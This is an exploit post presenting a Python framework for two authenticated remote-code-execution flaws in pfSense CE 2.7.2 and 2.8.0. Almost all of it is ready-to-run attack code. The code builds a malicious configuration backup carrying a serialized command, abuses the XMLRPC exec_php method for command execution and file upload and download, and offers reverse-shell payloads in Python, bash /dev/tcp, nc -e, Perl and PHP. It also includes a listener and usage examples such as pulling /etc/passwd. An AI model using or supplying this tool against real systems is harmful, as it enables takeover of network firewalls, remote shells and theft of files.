=============================================================================================================================================
| # Title     : pfSense Ultimate Exploit Framework – Authenticated RCE                                                                      |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits)                                                            |
| # Vendor    : https://www.pfsense.org/download/                                                                                           |
=============================================================================================================================================

[+] Summary    : This Python script is an exploitation framework targeting two authenticated Remote Code Execution (RCE) vulnerabilities in pfSense:

CVE‑2025‑69690 – Unsafe Deserialization in pfSense CE 2.7.2

CVE‑2025‑69691 – XMLRPC exec_php Abuse in pfSense CE 2.8.0

The framework provides a unified interface to:

Execute system commands remotely

Obtain reverse shells

Upload and download files

Launch an interactive shell for pfSense CE 2.7.2 → CVE‑2025‑69690 
                                pfSense CE 2.8.0 → CVE‑2025‑69691

Automatically detect the best exploit path

[+] POC : 

#!/usr/bin/env python3

import requests
import base64
import sys
import os
import time
import argparse
import urllib3
import xml.etree.ElementTree as ET
import random
import string
import socket
import threading
import subprocess
from typing import Optional, Dict, Any, Tuple
from datetime import datetime
from colorama import init, Fore, Style, Back


init(autoreset=True)

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


BANNER = f"""
{Fore.RED}
╔{'═'*61}                                                                                                                       ║                  
║{Fore.CYAN}  PfSense Ultimate Exploit Framework v1.0{Fore.RED}                   ║
║{Fore.CYAN}  CVE-2025-69690 | CVE-2025-69691{Fore.RED}                           ║
║{Fore.CYAN}  Researcher: indoushka{Fore.RED}                                     ║
╚{'═'*60}╝
{Style.RESET_ALL}"""


class Colors:
    """ANSI color codes for terminal output"""
    HEADER = '\033[95m'
    BLUE = '\033[94m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    RED = '\033[91m'
    END = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'

def print_success(msg):
    print(f"{Fore.GREEN}[] {msg}{Style.RESET_ALL}")

def print_error(msg):
    print(f"{Fore.RED}[] {msg}{Style.RESET_ALL}")

def print_info(msg):
    print(f"{Fore.BLUE}[] {msg}{Style.RESET_ALL}")

def print_warning(msg):
    print(f"{Fore.YELLOW}[] {msg}{Style.RESET_ALL}")

def print_banner():
    """Display the tool banner"""
    print(BANNER)


def generate_random_string(length=8):
    """Generate random string for filenames"""
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))

class CVE202569690:
    """Unsafe Deserialization RCE - pfSense CE 2.7.2"""
    
    def __init__(self, target, username, password, ssl_verify=False):
        self.target = target.rstrip('/')
        self.username = username
        self.password = password
        self.ssl_verify = ssl_verify
        self.session = requests.Session()
        self.session.auth = (username, password)
        self.session.verify = ssl_verify
        
    def create_serialized_payload(self, command):
        """
        Create malicious serialized object with command
        """
        payload = f'O:23:"pfsense_module_installer":1:{{s:17:"*post_reboot_commands";a:1:{{i:0;s:{len(command)}:"{command}";}}}}'
        return payload
    
    def create_reverse_shell_payload(self, lhost, lport):
        """
        Generate reverse shell command
        """
        shells = [

            f"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])'",
            f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1",
            f"nc -e /bin/sh {lhost} {lport}",
            f"perl -e 'use Socket;$i=\"{lhost}\";$p={lport};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");}}'"
        ]
        return shells[0] 
    
    def create_malicious_backup(self, command, output_file=None):
        """
        Create malicious XML backup file
        """
        if output_file is None:
            output_file = f"malicious_{generate_random_string()}.xml"
        
        serialized_payload = self.create_serialized_payload(command)
        b64_payload = base64.b64encode(serialized_payload.encode()).decode()
        
        xml_content = f'''<?xml version="1.0"?>
<pfsense>
    <version>17.0</version>
    <last_backup>exploit_{generate_random_string()}</last_backup>
    <backup_system>
        <configuration>
            <serialized_data>{b64_payload}</serialized_data>
        </configuration>
    </backup_system>
    <installedpackages>
        <package>
            <name>system_patches</name>
            <descr><![CDATA[{serialized_payload}]]></descr>
        </package>
    </installedpackages>
</pfsense>'''
        
        with open(output_file, 'w') as f:
            f.write(xml_content)
        
        return output_file
    
    def upload_and_execute(self, backup_file):
        """
        Upload malicious backup and trigger execution
        """
        print_info(f"Uploading malicious backup: {backup_file}")
        
        try:
         
            login_url = f"{self.target}/index.php"
            response = self.session.get(login_url)

            csrf_token = None
            if '__csrf_magic' in response.text:
                import re
                csrf_match = re.search(r'name="__csrf_magic" value="([^"]+)"', response.text)
                if csrf_match:
                    csrf_token = csrf_match.group(1)

            upload_url = f"{self.target}/diag_backup.php"
            
            with open(backup_file, 'rb') as f:
                files = {
                    'conffile': (backup_file, f, 'application/xml')
                }
                
                data = {}
                if csrf_token:
                    data['__csrf_magic'] = csrf_token
                
                response = self.session.post(upload_url, files=files, data=data)
            
            if response.status_code == 200:
                print_success("Backup uploaded successfully")

                restore_data = {
                    'restore': 'Restore Configuration'
                }
                if csrf_token:
                    restore_data['__csrf_magic'] = csrf_token
                
                response = self.session.post(upload_url, data=restore_data)
                
                if response.status_code == 200:
                    print_success("Restore triggered - Command should execute on next reboot")
                    print_warning("Note: Command executes after reboot via post_reboot_commands")
                    return True
                else:
                    print_error(f"Failed to trigger restore: {response.status_code}")
                    return False
            else:
                print_error(f"Failed to upload backup: {response.status_code}")
                return False
                
        except Exception as e:
            print_error(f"Error during exploitation: {str(e)}")
            return False
    
    def exploit(self, command, is_reverse_shell=False, lhost=None, lport=None):
        """
        Main exploit method
        """
        print_info(f"Target: {self.target}")
        print_info(f"Username: {self.username}")
        
        if is_reverse_shell and lhost and lport:
            command = self.create_reverse_shell_payload(lhost, lport)
            print_info(f"Reverse shell to {lhost}:{lport}")
        else:
            print_info(f"Command to execute: {command}")

        backup_file = self.create_malicious_backup(command)
        print_success(f"Created malicious backup: {backup_file}")

        result = self.upload_and_execute(backup_file)

        try:
            os.remove(backup_file)
        except:
            pass
        
        return result

class CVE202569691:
    """XMLRPC exec_php RCE - pfSense CE 2.8.0"""
    
    def __init__(self, target, username, password, ssl_verify=False):
        self.target = target.rstrip('/')
        self.username = username
        self.password = password
        self.ssl_verify = ssl_verify
        self.session = requests.Session()
        self.session.auth = (username, password)
        self.session.verify = ssl_verify
        self.xmlrpc_url = f"{self.target}/xmlrpc.php"
        
    def exec_php(self, php_code):
        """
        Execute PHP code via XMLRPC
        """
        xml_payload = f'''<?xml version="1.0"?>
<methodCall>
    <methodName>pfsense.exec_php</methodName>
    <params>
        <param>
            <value><string>{php_code}</string></value>
        </param>
    </params>
</methodCall>'''
        
        try:
            response = self.session.post(
                self.xmlrpc_url,
                data=xml_payload,
                headers={'Content-Type': 'text/xml'},
                timeout=10
            )
            
            if response.status_code == 200:
                return self._parse_response(response.text)
            else:
                return f"HTTP Error: {response.status_code}"
                
        except Exception as e:
            return f"Connection Error: {str(e)}"
    
    def _parse_response(self, xml_response):
        """
        Parse XMLRPC response
        """
        try:
            root = ET.fromstring(xml_response)
            for param in root.findall('.//param/value/string'):
                return param.text
            for param in root.findall('.//param/value'):
                if param.text:
                    return param.text
            return xml_response
        except:
            return xml_response
    
    def exec_command(self, command):
        """
        Execute system command via PHP
        """
        php_code = f'''<?php
$output = shell_exec("{command} 2>&1");
echo base64_encode($output);
?>'''
        
        result = self.exec_php(php_code)
        
        if result and not result.startswith(('HTTP Error', 'Connection Error')):
            try:
                decoded = base64.b64decode(result).decode('utf-8', errors='ignore')
                return decoded
            except:
                return result
        return result
    
    def upload_file(self, local_file, remote_path):
        """
        Upload file to target system
        """
        if not os.path.exists(local_file):
            return False, "Local file not found"
        
        with open(local_file, 'rb') as f:
            content = f.read()
        
        b64_content = base64.b64encode(content).decode()
        
        php_code = f'''<?php
file_put_contents("{remote_path}", base64_decode("{b64_content}"));
echo "Uploaded: " . filesize("{remote_path}") . " bytes";
?>'''
        
        result = self.exec_php(php_code)
        return True, result
    
    def download_file(self, remote_file, local_file=None):
        """
        Download file from target system
        """
        if local_file is None:
            local_file = os.path.basename(remote_file)
        
        php_code = f'''<?php
if (file_exists("{remote_file}")) {{
    echo base64_encode(file_get_contents("{remote_file}"));
}} else {{
    echo "FILE_NOT_FOUND";
}}
?>'''
        
        result = self.exec_php(php_code)
        
        if result == "FILE_NOT_FOUND":
            return False, "Remote file not found"
        
        try:
            content = base64.b64decode(result)
            with open(local_file, 'wb') as f:
                f.write(content)
            return True, f"Downloaded {len(content)} bytes to {local_file}"
        except:
            return False, "Failed to decode/download file"
    
    def create_reverse_shell(self, lhost, lport):
        """
        Create PHP reverse shell
        """
        php_shell = f'''<?php
set_time_limit(0);
$ip = '{lhost}';
$port = {lport};
$sock = fsockopen($ip, $port);
$descriptorspec = array(
    0 => $sock,
    1 => $sock,
    2 => $sock
);
$process = proc_open('/bin/sh -i', $descriptorspec, $pipes);
proc_close($process);
?>'''
        
        return self.exec_php(php_shell)
    
    def interactive_shell(self):
        """
        Interactive command shell
        """
        print_info("Interactive shell (type 'exit' to quit)")
        print_info("Commands are executed on the target system")
        
        while True:
            try:
                cmd = input(f"{Fore.GREEN}pfsense> {Style.RESET_ALL}")
                
                if cmd.lower() in ['exit', 'quit']:
                    break
                
                if cmd.lower().startswith('upload '):
                    parts = cmd.split()
                    if len(parts) >= 3:
                        local = parts[1]
                        remote = parts[2]
                        success, msg = self.upload_file(local, remote)
                        if success:
                            print_success(msg)
                        else:
                            print_error(msg)
                    else:
                        print_error("Usage: upload <local_file> <remote_path>")
                
                elif cmd.lower().startswith('download '):
                    parts = cmd.split()
                    if len(parts) >= 2:
                        remote = parts[1]
                        local = parts[2] if len(parts) >= 3 else None
                        success, msg = self.download_file(remote, local)
                        if success:
                            print_success(msg)
                        else:
                            print_error(msg)
                    else:
                        print_error("Usage: download <remote_file> [local_file]")
                
                elif cmd.strip():
                    result = self.exec_command(cmd)
                    print(result)
                    
            except KeyboardInterrupt:
                print("\nExiting...")
                break
            except Exception as e:
                print_error(f"Error: {str(e)}")
    
    def exploit(self, command=None, interactive=False, reverse_shell=None, upload=None, download=None):
        """
        Main exploit method
        """
        print_info(f"Target: {self.target}")
        print_info(f"XMLRPC URL: {self.xmlrpc_url}")

        test_result = self.exec_php('echo "Connection Successful";')
        if "Successful" in str(test_result):
            print_success("Connected to XMLRPC interface")
        else:
            print_error("Failed to connect to XMLRPC")
            print_error(f"Response: {test_result}")
            return False
        
        if reverse_shell:
            lhost, lport = reverse_shell
            print_info(f"Attempting reverse shell to {lhost}:{lport}")
            print_warning("Make sure your listener is running: nc -lvnp {lport}")
            self.create_reverse_shell(lhost, lport)
            
        elif upload:
            local, remote = upload
            print_info(f"Uploading {local} to {remote}")
            success, msg = self.upload_file(local, remote)
            if success:
                print_success(msg)
            else:
                print_error(msg)
                
        elif download:
            remote, local = download if len(download) == 2 else (download[0], None)
            print_info(f"Downloading {remote}")
            success, msg = self.download_file(remote, local)
            if success:
                print_success(msg)
            else:
                print_error(msg)
                
        elif interactive:
            self.interactive_shell()
            
        elif command:
            print_info(f"Executing command: {command}")
            result = self.exec_command(command)
            print(result)
            
        else:

            print_info("Gathering system information...")
            commands = [
                "uname -a",
                "cat /etc/version",
                "id",
                "ifconfig",
                "netstat -an | grep LISTEN"
            ]
            
            for cmd in commands:
                print_info(f"$ {cmd}")
                result = self.exec_command(cmd)
                print(result)
                print("-" * 40)
        
        return True

class ReverseShellListener:
    """Simple reverse shell listener"""
    
    def __init__(self, port, lhost='0.0.0.0'):
        self.port = port
        self.lhost = lhost
        
    def start(self):
        """Start listening for reverse shell"""
        print_info(f"Starting listener on {self.lhost}:{self.port}")
        
        try:
            server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            server.bind((self.lhost, self.port))
            server.listen(1)
            
            print_info(f"Waiting for connection...")
            client, addr = server.accept()
            print_success(f"Connection from {addr[0]}:{addr[1]}")

            while True:
                try:

                    client.settimeout(1.0)
                    data = client.recv(1024)
                    if data:
                        print(data.decode(), end='')

                    cmd = input()
                    if cmd.lower() == 'exit':
                        client.send(b'exit\n')
                        break
                    client.send((cmd + '\n').encode())
                    
                except socket.timeout:
                    continue
                except KeyboardInterrupt:
                    print("\nClosing connection...")
                    break
                except Exception as e:
                    print_error(f"Error: {str(e)}")
                    break
            
            client.close()
            server.close()
            
        except Exception as e:
            print_error(f"Listener error: {str(e)}")

class PfSenseExploitFramework:
    """Unified exploit framework for pfSense CVEs"""
    
    def __init__(self):
        self.target = None
        self.username = None
        self.password = None
        self.ssl_verify = False
        self.cve_690 = None
        self.cve_691 = None
        
    def setup(self, target, username, password, ssl_verify=False):
        """Initialize the framework with target information"""
        self.target = target
        self.username = username
        self.password = password
        self.ssl_verify = ssl_verify
        
        # Initialize exploit classes
        self.cve_690 = CVE202569690(target, username, password, ssl_verify)
        self.cve_691 = CVE202569691(target, username, password, ssl_verify)
        
        print_success(f"Framework initialized for target: {target}")
        
    def detect_version(self):
        """Attempt to detect pfSense version"""
        print_info("Detecting pfSense version...")

        result = self.cve_691.exec_command("cat /etc/version")
        if result and not result.startswith(('HTTP Error', 'Connection Error')):
            version = result.strip()
            print_success(f"Detected version: {version}")
            return version
        
        return None
    
    def auto_exploit(self):
        """Automatically choose the best exploit based on detection"""
        print_info("Attempting automatic exploitation...")

        version = self.detect_version()
        
        if version:
            if "2.7.2" in version:
                print_info("Target appears to be pfSense 2.7.2 - Using CVE-2025-69690")
                return "690"
            elif "2.8.0" in version:
                print_info("Target appears to be pfSense 2.8.0 - Using CVE-2025-69691")
                return "691"

        print_warning("Version detection failed, trying CVE-2025-69691...")
        test = self.cve_691.exec_command("echo test")
        if test and "test" in test:
            print_success("CVE-2025-69691 works!")
            return "691"
        
        return None
    
    def run_exploit_690(self, command, is_reverse_shell=False, lhost=None, lport=None):
        """Run CVE-2025-69690 exploit"""
        return self.cve_690.exploit(command, is_reverse_shell, lhost, lport)
    
    def run_exploit_691(self, command=None, interactive=False, reverse_shell=None, 
                        upload=None, download=None):
        """Run CVE-2025-69691 exploit"""
        return self.cve_691.exploit(command, interactive, reverse_shell, upload, download)

def main():
    """Main entry point"""
    print_banner()
    
    parser = argparse.ArgumentParser(
        description='PfSense Ultimate Exploit Framework - CVE-2025-69690 & CVE-2025-69691',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog='''
Examples:
  # Basic command execution (auto-detect exploit)
  python3 pfsense_exploit.py https://192.168.1.1 -u admin -p pfsense -c "id"

  # Interactive shell using CVE-2025-69691
  python3 pfsense_exploit.py https://192.168.1.1 -u admin -p pfsense -i

  # Reverse shell using CVE-2025-69690
  python3 pfsense_exploit.py https://192.168.1.1 -u admin -p pfsense -r 192.168.1.100 4444 --cve 690

  # Upload file using CVE-2025-69691
  python3 pfsense_exploit.py https://192.168.1.1 -u admin -p pfsense --upload shell.php /tmp/shell.php

  # Download file using CVE-2025-69691
  python3 pfsense_exploit.py https://192.168.1.1 -u admin -p pfsense --download /etc/passwd

  # Listen for reverse shell
  python3 pfsense_exploit.py --listen 4444
'''
    )

    parser.add_argument('target', nargs='?', help='Target URL (e.g., https://192.168.1.1)')
    parser.add_argument('-u', '--username', default='admin', help='Username (default: admin)')
    parser.add_argument('-p', '--password', default='pfsense', help='Password (default: pfsense)')
    parser.add_argument('--no-ssl-verify', action='store_true', help='Disable SSL verification')
    parser.add_argument('--cve', choices=['690', '691', 'auto'], default='auto',
                       help='Choose specific CVE to exploit (default: auto-detect)')

    parser.add_argument('-c', '--command', help='Single command to execute')
    parser.add_argument('-i', '--interactive', action='store_true', 
                       help='Interactive shell (CVE-2025-69691 only)')
    parser.add_argument('-r', '--reverse', nargs=2, metavar=('LHOST', 'LPORT'),
                       help='Reverse shell (e.g., -r 192.168.1.100 4444)')

    parser.add_argument('--upload', nargs=2, metavar=('LOCAL', 'REMOTE'),
                       help='Upload file to target')
    parser.add_argument('--download', nargs='+', metavar=('REMOTE', '[LOCAL]'),
                       help='Download file from target')

    parser.add_argument('--listen', type=int, metavar='PORT',
                       help='Start reverse shell listener on specified port')

    parser.add_argument('--verbose', '-v', action='store_true', help='Verbose output')
    
    args = parser.parse_args()

    if args.listen and not args.target:
        listener = ReverseShellListener(args.listen)
        listener.start()
        return

    if not args.target:
        parser.print_help()
        print_error("Target URL is required unless using --listen")
        sys.exit(1)

    framework = PfSenseExploitFramework()
    framework.setup(
        args.target,
        args.username,
        args.password,
        not args.no_ssl_verify
    )

    cve_to_use = args.cve
    if cve_to_use == 'auto':
        cve_to_use = framework.auto_exploit()
        if not cve_to_use:
            print_error("Could not automatically determine exploit type")
            print_info("Try specifying with --cve 690 or --cve 691")
            sys.exit(1)
    
    print_info(f"Using CVE-2025-{cve_to_use}")

    if cve_to_use == '690':
        if args.interactive:
            print_warning("Interactive shell not available for CVE-2025-69690")
            print_info("Use --command for single commands or --reverse for reverse shell")
            
        if args.reverse:
            lhost, lport = args.reverse
            framework.run_exploit_690(None, is_reverse_shell=True, 
                                      lhost=lhost, lport=lport)
            print_info(f"Check your listener on {lport}")
            
        elif args.command:
            framework.run_exploit_690(args.command)
            
        elif args.upload or args.download:
            print_warning("File operations not available for CVE-2025-69690")
            
        else:

            framework.run_exploit_690("id")
            
    elif cve_to_use == '691':
        if args.reverse:
            framework.run_exploit_691(reverse_shell=args.reverse)
        elif args.upload:
            framework.run_exploit_691(upload=args.upload)
        elif args.download:
            framework.run_exploit_691(download=args.download)
        elif args.interactive:
            framework.run_exploit_691(interactive=True)
        elif args.command:
            framework.run_exploit_691(command=args.command)
        else:

            framework.run_exploit_691()

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print(f"\n{Fore.YELLOW}[!] Interrupted by user{Style.RESET_ALL}")
        sys.exit(0)
    except Exception as e:
        print_error(f"Unexpected error: {str(e)}")
        if 'verbose' in locals() and args.verbose:
            import traceback
            traceback.print_exc()
        sys.exit(1)
		
		
Greetings to :======================================================================
jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
====================================================================================